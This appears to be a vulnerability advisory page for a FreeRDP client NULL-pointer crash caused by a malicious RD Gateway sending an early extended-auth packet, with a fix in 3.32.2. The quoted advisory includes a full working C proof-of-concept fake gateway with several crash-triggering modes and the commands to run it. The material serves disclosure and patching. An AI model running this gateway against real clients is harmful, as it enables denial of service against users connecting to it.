RD Gateway extended-auth packet crashes FreeRDP client before tunnel auth
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · Low
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-8rjm-m7xg-mg6m. Fix status from GitHub. Impact type from CWE-476.
Summary
FreeRDP through 3.32.1 lets a malicious or compromised RD Gateway crash a FreeRDP client. The gateway can send an extended-auth packet right after the HTTP/WebSocket upgrade, before tunnel authentication, and the client dereferences a NULL pointer (CWE-476) in the credssp authentication check. A remote attacker who controls the gateway needs no credentials, and user interaction is required. The impact is limited to a client crash (availability).
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
A malicious or compromised RD Gateway can crash a FreeRDP client by sending `PKT_TYPE_EXTENDED_AUTH_MSG` immediately after the HTTP/WebSocket upgrade, before tunnel authentication. The default `GatewayHttpExtAuthSspiNtlm=FALSE` path frees its HTTP authentication context before receiving tunnel packets. `rdg_process_packet` nevertheless dispatches the extended-auth packet without checking the negotiated mode or `rdg->auth`. A zero-length blob reaches `credssp_auth_is_complete(NULL)`. The audited default verbose-assert build aborted; an assertions-off build made a null-pointer read and crashed. No memory-corruption or data-access effect was demonstrated. The archived full-client test used a local fake TLS RD Gateway and the exact 14-byte packet `03 00 00 00 0e 00 00 00 00 00 00 00 00 00`. Independent re-verification recorded exit 134 for the assertion-enabled client and exit 139 for the assertion-free client. The same WebSocket upgrade without the packet did not crash during the bounded test. Enabling `extauth-sspi-ntlm` made the trigger fail negotiation without a crash. The decisive source is present in the individually inspected 3.0.0, 3.20.0, 3.28.0, 3.31.1, 3.32.0, and 3.32.1 releases; intermediate release snapshots and the first affected release were not established. The 3.32.1 release source is byte-identical at the decisive RDG code to the audited revision; a 3.32.1 release binary was not separately run. ### Reproduction On an isolated machine with a vulnerable `xfreerdp` build, OpenSSL development libraries, and an X display, save this complete C listing as `rdg_poc.c`. It generates its own short-lived certificate in memory. Compile it and start the fake gateway: ```sh cc -O2 -Wall -o rdg_poc rdg_poc.c -lssl -lcrypto -pthread ./rdg_poc 3411 extauth0 ws & gateway_pid=$! sleep 1 WLOG_LEVEL=DEBUG timeout 10 xfreerdp /v:127.0.0.1 \ /gateway:"g:127.0.0.1:3411,u:u,d:d,p:p,type:http" \ /cert:ignore /size:800x600 kill "$gateway_pid" ``` `/cert:ignore` is needed only for the disposable self-signed test gateway. The complete source is embedded here: ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <unistd.h> #include <stdint.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netinet/in.h> #include <pthread.h> #include <openssl/ssl.h> #include <openssl/err.h> #include <openssl/x509.h> #include <openssl/evp.h> static SSL_CTX* make_server_ctx(void) { SSL_CTX* ctx = SSL_CTX_new(TLS_server_method()); EVP_PKEY* pkey = EVP_RSA_gen(2048); X509* x = X509_new(); if (!ctx || !pkey || !x) return NULL; X509_set_version(x, 2); ASN1_INTEGER_set(X509_get_serialNumber(x), 1); X509_gmtime_adj(X509_getm_notBefore(x), 0); X509_gmtime_adj(X509_getm_notAfter(x), 3600); X509_set_pubkey(x, pkey); X509_NAME* name = X509_get_subject_name(x); X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC, (const unsigned char*)"fake-rdg", -1, -1, 0); X509_set_issuer_name(x, name); if (!X509_sign(x, pkey, EVP_sha256())) return NULL; if (!SSL_CTX_use_certificate(ctx, x) || !SSL_CTX_use_PrivateKey(ctx, pkey)) return NULL; X509_free(x); EVP_PKEY_free(pkey); return ctx; } static void websocket_accept(const char* key, char* out, size_t outlen) { static const char* guid = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"; unsigned char digest[EVP_MAX_MD_SIZE]; unsigned int dlen = 0; char input[256]; snprintf(input, sizeof(input), "%s%s", key, guid); EVP_Digest(input, strlen(input), digest, &dlen, EVP_sha1(), NULL); EVP_EncodeBlock((unsigned char*)out, digest, (int)dlen); (void)outlen; } static void hexdump(const char* tag, const unsigned char* p, size_t n) { fprintf(stderr, "%s (%zu bytes):", tag, n); for (size_t i = 0; i < n; i++) fprintf(stderr, " %02x", p[i]); fprintf(stderr, "\n"); fflush(stderr); } /* Send one RDG packet, optionally wrapped in a server->client websocket frame. */ static int send_rdg(SSL* ssl, int websocket, const unsigned char* pkt, size_t len) { unsigned char frame[64]; size_t flen = 0; if (websocket) { frame[flen++] = 0x82; /* FIN + binary opcode */ if (len < 126) frame[flen++] = (unsigned char)len; else if (len <= 0xFFFF) { frame[flen++] = 126; frame[flen++] = (unsigned char)(len >> 8); frame[flen++] = (unsigned char)(len & 0xFF); } else { frame[flen++] = 127; for (int i = 7; i >= 0; i--) frame[flen++] = (unsigned char)((uint64_t)len >> (8 * i)); } if (SSL_write(ssl, frame, (int)flen) != (int)flen) return -1; } hexdump("S->C RDG", pkt, len); if (SSL_write(ssl, pkt, (int)len) != (int)len) return -1; return 0; } static size_t build_pkt(unsigned char* out, uint16_t type, const unsigned char* payload, size_t plen) { size_t total = 8 + plen; out[0] = (unsigned char)(type & 0xFF); out[1] = (unsigned char)(type >> 8); out[2] = 0; out[3] = 0; out[4] = (unsigned char)(total & 0xFF); out[5] = (unsigned char)((total >> 8) & 0xFF); out[6] = (unsigned char)((total >> 16) & 0xFF); out[7] = (unsigned char)((total >> 24) & 0xFF); if (plen) memcpy(out + 8, payload, plen); return total; } static void* in_data_thread(void* arg) { int cfd = (int)(intptr_t)arg; char buf[4096]; for (;;) { ssize_t n = read(cfd, buf, sizeof(buf)); if (n <= 0) break; } close(cfd); return NULL; } static int run_mode(SSL* ssl, const char* mode, int websocket) { unsigned char pkt[64]; unsigned char payload[32]; size_t len; if (strcmp(mode, "noop") == 0) { fprintf(stderr, "conn: noop mode: sending nothing after upgrade\n"); return 0; } if (strcmp(mode, "extauth0") == 0 || strcmp(mode, "extauth1") == 0) { /* type 0x0003, errorCode 0, authBlobLen 0 or 1 */ uint16_t blob = (strcmp(mode, "extauth1") == 0) ? 1 : 0; payload[0] = payload[1] = payload[2] = payload[3] = 0; /* errorCode */ payload[4] = (unsigned char)(blob & 0xFF); payload[5] = (unsigned char)(blob >> 8); if (blob) payload[6] = 0x41; len = build_pkt(pkt, 0x0003, payload, 6 + blob); usleep(250 * 1000); return send_rdg(ssl, websocket, pkt, len); } if (strcmp(mode, "bigalloc") == 0) { /* 8-byte header only: type 0x0002, packetLength 0x7FFFFFFF */ len = build_pkt(pkt, 0x0002, NULL, 0); pkt[4] = 0xFF; pkt[5] = 0xFF; pkt[6] = 0xFF; pkt[7] = 0x7F; usleep(250 * 1000); return send_rdg(ssl, websocket, pkt, len); } if (strcmp(mode, "ctlspin") == 0) { /* HANDSHAKE_RESPONSE: errorCode=0, ver 1.0, serverVersion=1, extAuth=0 */ payload[0] = payload[1] = payload[2] = payload[3] = 0; payload[4] = 0x01; payload[5] = 0x00; payload[6] = 0x01; payload[7] = 0x00; payload[8] = 0x00; payload[9] = 0x00; len = build_pkt(pkt, 0x0002, payload, 10); usleep(200 * 1000); if (send_rdg(ssl, websocket, pkt, len)) return -1; /* TUNNEL_RESPONSE: serverVersion=1, errorCode=0, fields=0, reserved=0 */ payload[0] = 0x01; payload[1] = 0x00; payload[2] = payload[3] = payload[4] = payload[5] = 0; payload[6] = payload[7] = payload[8] = payload[9] = 0; len = build_pkt(pkt, 0x0005, payload, 10); usleep(200 * 1000); if (send_rdg(ssl, websocket, pkt, len)) return -1; /* TUNNEL_AUTH_RESPONSE: errorCode=0, fields=0, reserved=0 */ memset(payload, 0, 8); len = build_pkt(pkt, 0x0007, payload, 8); usleep(200 * 1000); if (send_rdg(ssl, websocket, pkt, len)) return -1; /* CHANNEL_RESPONSE: errorCode=0, fields=0, reserved=0 */ memset(payload, 0, 8); len = build_pkt(pkt, 0x0009, payload, 8); usleep(200 * 1000); if (send_rdg(ssl, websocket, pkt, len)) return -1; /* Control header only: KEEPALIVE, packetLength=0xFFFF, no payload. */ len = build_pkt(pkt, 0x000D, NULL, 0); pkt[4] = 0xFF; pkt[5] = 0xFF; pkt[6] = 0x00; pkt[7] = 0x00; usleep(300 * 1000); return send_rdg(ssl, websocket, pkt, len); } fprintf(stderr, "unknown mode %s\n", mode); return -1; } typedef struct { int cfd; SSL_CTX* ctx; const char* mode; int websocket; int first; } conn_arg; static void* handle_conn(void* arg) { conn_arg* a = (conn_arg*)arg; SSL* ssl = SSL_new(a->ctx); SSL_set_fd(ssl, a->cfd); if (SSL_accept(ssl) <= 0) { fprintf(stderr, "SSL_accept failed\n"); close(a->cfd); SSL_free(ssl); return NULL; } char req[65536]; size_t used = 0; while (used < sizeof(req) - 1) { int n = SSL_read(ssl, req + used, (int)(sizeof(req) - 1 - used)); if (n <= 0) break; used += (size_t)n; req[used] = '\0'; if (strstr(req, "\r\n\r\n")) break; } req[used < sizeof(req) ? used : sizeof(req) - 1] = '\0'; fprintf(stderr, "conn: read %zu bytes of HTTP request: %.60s\n", used, req); fflush(stderr); if (!a->first) { /* RDG_IN_DATA: answer 200 OK, then just drain. */ const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n"; SSL_write(ssl, ok, (int)strlen(ok)); char buf[4096]; while (SSL_read(ssl, buf, sizeof(buf)) > 0) ; SSL_free(ssl); return NULL; } if (a->websocket) { const char* keyhdr = strcasestr(req, "\r\nSec-WebSocket-Key:"); if (!keyhdr) keyhdr = strcasestr(req, "Sec-WebSocket-Key:"); char key[256] = { 0 }; if (keyhdr) { const char* p = strchr(keyhdr, ':'); if (p) { p++; while (*p == ' ' || *p == '\t') p++; size_t i = 0; while (*p && *p != '\r' && *p != '\n' && i < sizeof(key) - 1) key[i++] = *p++; } } char accept[128] = { 0 }; websocket_accept(key, accept, sizeof(accept)); char response[1024]; int rlen = snprintf(response, sizeof(response), "HTTP/1.1 101 Switching Protocols\r\n" "Upgrade: websocket\r\n" "Connection: Upgrade\r\n" "Sec-WebSocket-Accept: %s\r\n" "Sec-WebSocket-Version: 13\r\n" "Sec-WebSocket-Protocol: rdp\r\n" "\r\n", accept); SSL_write(ssl, response, rlen); fprintf(stderr, "conn: sent 101 Switching Protocols (ws accept=%s)\n", accept); } else { const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n"; SSL_write(ssl, ok, (int)strlen(ok)); unsigned char seed[10] = "0123456789"; hexdump("S->C seed", seed, sizeof(seed)); SSL_write(ssl, seed, sizeof(seed)); fprintf(stderr, "conn: sent 200 OK + 10-byte seed\n"); } if (run_mode(ssl, a->mode, a->websocket) != 0) fprintf(stderr, "conn: run_mode send failed\n"); else fprintf(stderr, "conn: mode %s delivered; holding socket 30s\n", a->mode); fflush(stderr); struct timespec ts = { .tv_sec = 30, .tv_nsec = 0 }; nanosleep(&ts, NULL); SSL_free(ssl); return NULL; } int main(int argc, char** argv) { if (argc < 3) { fprintf(stderr, "usage: %s <port> <extauth0|extauth1|bigalloc|ctlspin> [ws|http]\n", argv[0]); return 2; } const int port = atoi(argv[1]); const char* mode = argv[2]; int websocket = 1; if (argc > 3 && strcmp(argv[3], "http") == 0) websocket = 0; SSL_library_init(); SSL_load_error_strings(); SSL_CTX* ctx = make_server_ctx(); if (!ctx) return 2; int lfd = socket(AF_INET6, SOCK_STREAM, 0); int one = 1; setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); setsockopt(lfd, IPPROTO_IPV6, IPV6_V6ONLY, &(int){ 0 }, sizeof(int)); struct sockaddr_in6 addr = { 0 }; addr.sin6_family = AF_INET6; addr.sin6_addr = in6addr_any; addr.sin6_port = htons((unsigned short)port); if (bind(lfd, (struct sockaddr*)&addr, sizeof(addr)) || listen(lfd, 8)) { perror("bind/listen"); return 2; } fprintf(stderr, "poc_rdg listening on 127.0.0.1:%d mode=%s transport=%s\n", port, mode, websocket ? "ws" : "http"); fflush(stderr); int first = 1; for (;;) { int cfd = accept(lfd, NULL, NULL); if (cfd < 0) break; conn_arg* a = calloc(1, sizeof(conn_arg)); a->cfd = cfd; a->ctx = ctx; a->mode = mode; a->websocket = websocket; a->first = first; first = 0; pthread_t t; if (pthread_create(&t, NULL, handle_conn, a) != 0) { close(cfd); free(a); } else pthread_detach(t); } SSL_CTX_free(ctx); return 0; } ``` The archived gateway run logged the 14-byte packet above. The assertion-enabled client logged `credssp_auth_is_complete:775` with `((auth))` and exited 134. The assertions-off client exited 139, and its debugger trace showed `rdg_process_extauth_sspi` calling through a null auth pointer. These are preserved audited-revision observations; the embedded runner was not rerun for this draft. **Impact:** Remote denial of service of a client connecting to a malicious or compromised RD Gateway. No confidentiality, integrity, or code-execution impact was demonstrated. **Remediation:** Reject an extended-auth packet unless extended SSPI authentication was negotiated and an auth context exists in the expected state. Return a protocol error instead of asserting on a misplaced packet.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <= 3.32.1 | 3.32.2 | Patch available | GHSA-8rjm-m7xg-mg6m |
- FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-8rjm-m7xg-mg6m
Remediation
Upgrade FreeRDP to version 3.32.2, which fixes this issue.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-8rjm-m7xg-mg6m FreeRDP (c) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-8rjm-m7xg-mg6m
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences